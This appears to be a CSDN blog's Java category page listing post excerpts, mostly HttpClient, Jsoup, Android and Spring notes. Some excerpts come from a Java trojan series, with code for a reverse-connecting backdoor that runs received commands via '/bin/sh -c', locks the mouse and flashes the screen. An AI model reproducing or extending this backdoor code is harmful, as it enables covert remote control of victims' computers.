java
文章平均质量分 56
zkwniky
这个作者很懒,什么都没留下…
展开
-
java编写的基于TCP协议的多线程扫描端口程序
java编写的基于TCP协议的多线程扫描端口程序网上找到了一个TCP的扫描端口程序,但发现很慢,于是把它改成了多线程的。原创 2015-10-08 22:40:01 · 1017 阅读 · 2 评论 -
基于HttpClient4.5.1实现
httpclient是Apache下的一个用于执行http网络访问的一个工具包。大致流程:新建一个httpclient对象->新建一个httpRequest对象->用httpclient去执行->得到一个response->通过解析这个response来获取自己所需要的信息。 一、新建httpClient对象:在httpClient4.5中,初始化的方式已经和以前版本有一些不同。转载 2017-05-16 14:37:51 · 1069 阅读 · 0 评论 -
HttpClient4.5 简单入门
HttpClient4.5 简单入门博客分类:httpclienthttpclientgetposthttp 一、所需要的jar包 httpclient-4.5.jar httpcore-4.4.1.jar httpmime-4.5.jar二、实例Java代码 package cn.tzz.apache.ht转载 2017-05-16 16:46:58 · 313 阅读 · 0 评论 -
获取网页链接
public void fetchLink(){String url = "http://www.hainan.net";try{Document doc = Jsoup.connect(url).get();Elements links = doc.select("a[href]");for (Element link : links){String原创 2017-05-09 22:45:49 · 630 阅读 · 0 评论 -
获取网页标题
public void fetchTitle(){String url = "http://www.hainan.net";try{Document doc = Jsoup.connect(url).get();Element element=doc.getElementById("cms_fragment_4565_ul");Elements links = elemen原创 2017-05-09 23:47:43 · 1309 阅读 · 0 评论 -
Jsoup解析Html教程
下载Jsouphttp://jsoup.org/download查看官方提供的手册:http://jsoup.org/cookbook/获取一个Document,这是Jsoup最核心的一个对象有三种途径来加载Document:字符串,URL地址,文件/** * */package org.xdemo.转载 2017-05-10 09:55:37 · 318 阅读 · 0 评论 -
示例程序: 获取所有链接
package org.jsoup.examples;import org.jsoup.Jsoup;import org.jsoup.helper.Validate;import org.jsoup.nodes.Document;import org.jsoup.nodes.Element;import org.jsoup.select.Elements;import java.i转载 2017-05-10 16:22:38 · 2117 阅读 · 0 评论 -
HTTP访问的两种方式
使用HttpClient:NameValuePair nameValuePair1 = newBasicNameValuePair("name", "yang");NameValuePair nameValuePair2 = newBasicNameValuePair("pwd","123123");List nameValuePairs = new ArrayList();nam转载 2017-05-19 15:42:25 · 300 阅读 · 0 评论 -
Handler 原理分析和使用
它在整个 Android 应用层面非常之关键,他是线程间相互通信的主要手段。最为常用的是其他线程通过Handler向主线程发送消息,更新主线程UI。下面是一个最简单的例子。 1 import android.os.Handler; 2 import android.os.Looper; 3 import android.os.Message; 4 import android转载 2017-05-22 21:25:31 · 200 阅读 · 0 评论 -
Eclipse使用技巧总结
一、快捷键1、提示:Alt+/2、格式化:ctrl+shift+f3、输入一对的符号,如”",(),会自动补全,输入后跳出:tab4、查找某个方法被谁调用:选中方法名,ctrl+shift+g5、查看某个类的继承关系:选中该类,ctrl+t6、通过文件名称查找类或文件:ctrl+shift+r7、alt+上/下,移动当前行到上或下8、转载 2017-06-04 09:26:26 · 298 阅读 · 0 评论 -
Java反射知识
Java语言允许通过程序化的方式间接对Class进行操作,Class文件由类装载器装载后,在JVM中将形成一份描述Class结构的元信息对象,通过该元信息对象可以获知Class的结构信息:如构造函数、属性和方法等。Java允许用户借由这个Class相关的元信息对象间接调用Class对象的功能,这就为使用程序化方式操作Class对象开辟了途径。简单实例 我们将从一个简单例子开始转载 2017-08-10 16:56:18 · 163 阅读 · 0 评论 -
学习Spring必学的Java基础知识(2)----动态代理
Spring AOP使用动态代理技术在运行期织入增强的代码,为了揭示Spring AOP底层的工作机理,有必要对涉及到的Java知识进行学习。Spring AOP使用了两种代理机制:一种是基于JDK的动态代理;另一种是基于CGLib的动态代理。之所以需要两种代理机制,很大程度上是因为JDK本身只提供接口的代理,而不支持类的代理。带有横切逻辑的实例我们通过具体化代码实现上一节所介绍例转载 2017-08-11 10:34:48 · 276 阅读 · 0 评论 -
同步加载、异步加载、延迟加载
一、同步加载 平常默认用的都是同步加载。如:http://yourdomain.com/script.js"> 同步模式又称阻塞模式,会阻止浏览器的后续处理,停止了后续的文件的解析,执行,如图像的渲染。流览器之所以会采用同步模式,是因为加载的js文件中有对dom的操作,重定向,输出document等默认行为,所以同步才是最安全的。通常会把要加载的js放到body结束标签之前,使得js转载 2017-05-24 16:45:17 · 222 阅读 · 0 评论 -
用JSONObject解析和处理json数据
本文中主要介绍JSONObject处理json数据时候的一些常用场景和方法。(一)jar包下载所需jar包打包下载百度网盘地址:https://pan.baidu.com/s/1c27Uyre (二)常见场景及处理方法1、解析简单的json字符串:1 // 简单的json测试字符串2 public static final String JS转载 2017-05-12 17:09:00 · 747 阅读 · 0 评论 -
android 布局控件中 Layout_weight属性
Layout_weight属性 是对父控件剩余空间的分配。 如果两个控件的Layout_weight 都设为1 ,则每个控件分配剩余空间的一半Layout_width属性设为0dp,Layout_weight 都设为1 则控件可以实现平分空间的效果原创 2016-07-06 08:55:02 · 314 阅读 · 1 评论 -
java 木马开发(5)---服务端 --- 对话框函数和截屏函数
介绍了如何在服务端弹出一个对话框和截取服务端屏幕两个功能函数显示对话框函数void showDialog(String s) { new ShowDialogThread(s).start(); //启动一个线程 }//线程类 采用的方式是继承Thread类 class ShowDialogThread ex原创 2017-02-01 10:06:54 · 427 阅读 · 0 评论 -
java 木马开发(4)---服务端 ---接收指令函数takeOrder()
本函数是核心函数,用来接收控制端自定义的命令,如果不符合自定义命令,则windows将会调用被控制端cmd,linux调用被控制端shell//不断的循环接收控制端传来的指令,并根据指令进行判断,到达不同的控制流 void takeOrder() { while (true) { try {原创 2017-01-28 23:01:54 · 824 阅读 · 0 评论 -
返回linux IP地址
import java.net.Inet4Address;import java.net.InetAddress;import java.net.NetworkInterface;import java.net.SocketException;import java.util.Enumeration;public class Test {public static vo转载 2017-01-26 16:41:51 · 382 阅读 · 0 评论 -
java 木马开发(1)
曾经研究过一段时间的逆向、破解、木马病毒之类的,很多人说,Java不能写木马,当时气不过,就写了一个简单的木马。最近一段时间有些闲,整理一些以前的代码,也是一个学习的过程。现在将木马运行的效果贴一下,在以后的过程中,回分几部分将代码讲解清楚贴出来,希望大家多提宝贵意见。服务端每隔5秒钟运行一次监听=================================原创 2017-01-15 18:09:14 · 5292 阅读 · 0 评论 -
java 木马开发(3)服务端判断为linux时的执行模块ServerLin (构造函数介绍)
好久没更新了,主要是最近在忙单位的事情,不过我一定会坚持下去的,java木马更新完后,还会将自己前段时间,写的一个python游戏,更新到博客,然后还有android的几个程序,也是对自己学习的一个总结。谢谢。因为服务端的代码还有一些长,所以会将几个重要的函数介绍清楚后,在将整个服务端的模块一起贴出来。服务端模块ServerLin 构造函数如下 publi原创 2017-01-26 14:26:22 · 639 阅读 · 0 评论 -
java 木马开发(7)---服务端---锁住鼠标函数 mouseLock 和 闪屏函数 Flash
/* 锁住鼠标函数 * 接收l参数 启动鼠标锁定线程 * 接收a 停止鼠标锁定线程 * */ void mouseLock(String s) { if (s.equals("l")) { if (mouseLockThread == null || mouseLockThread.isAlive()原创 2017-02-18 08:53:08 · 1989 阅读 · 0 评论 -
java 木马开发(8)---服务端--- 调用平台shell去执行输入指令
服务端执行输入linux命令,并将返回结果传回//java在linux环境下调用平台shell去执行输入的指令参数 cmd 指令 void shellExe(String cmd) { try { String[] cmdA = { "/bin/sh", "-c", cmd }; //cmd是需要执行命令 Pr原创 2017-02-25 09:08:23 · 622 阅读 · 0 评论 -
java 木马开发(9)---服务端 完结 完整代码
/* * 目标电脑操作系统是LINUX时 调用此模块 * 反弹木马 由服务端主动连接客户端 */ import java.awt.AWTException; import java.awt.Color; import java.awt.FlowLayout; import java.awt.Font; import java.awt.Gra原创 2017-02-25 09:11:03 · 2822 阅读 · 1 评论 -
HttpClient4.5.2 使用cookie保持会话——获取cookie
摘要: 如果是同一个HttpClient没有关闭的时,HttpClient4可以保持会话,如果关闭了,那么就需要我们为每个HttpClient 添加cookie 来维持回话。本文以HttpClient4.5.2 进行阐述。本篇主要是描述如何获取cookie,如有不足,欢迎指正。谢谢!首先,我们建立了一个java maven项目,之后我们添加HttpClient4.5.2 的依赖1、转载 2017-05-23 16:55:42 · 692 阅读 · 0 评论 -
HttpClient4.5.2 使用cookie保持会话——获取cookie之后如何传递它
摘要: 如果是同一个HttpClient没有关闭的时,HttpClient4可以保持会话,如果关闭了,那么就需要我们为每个HttpClient 添加cookie 来维持回话。本文以HttpClient4.5.2 进行阐述。本篇主要是描述获取cookie之后,如何传递它,如有不足,欢迎指正。谢谢!接着上篇HttpClient4.5.2 使用cookie保持会话——获取cookie(1) 之后转载 2017-05-23 16:56:52 · 960 阅读 · 0 评论 -
学习Spring必学的Java基础知识(6)----ThreadLocal
我们知道Spring通过各种模板类降低了开发者使用各种数据持久技术的难度。这些模板类都是线程安全的,也就是说,多个DAO可以复用同一个模板实例而不会发生冲突。我们使用模板类访问底层数据,根据持久化技术的不同,模板类需要绑定数据连接或会话的资源。但这些资源本身是非线程安全的,也就是说它们不能在同一时刻被多个线程共享。虽然模板类通过资源池获取数据连接或会话,但资源池本身解决的是数据连接或会话的缓存问题转载 2017-08-14 09:25:01 · 222 阅读 · 0 评论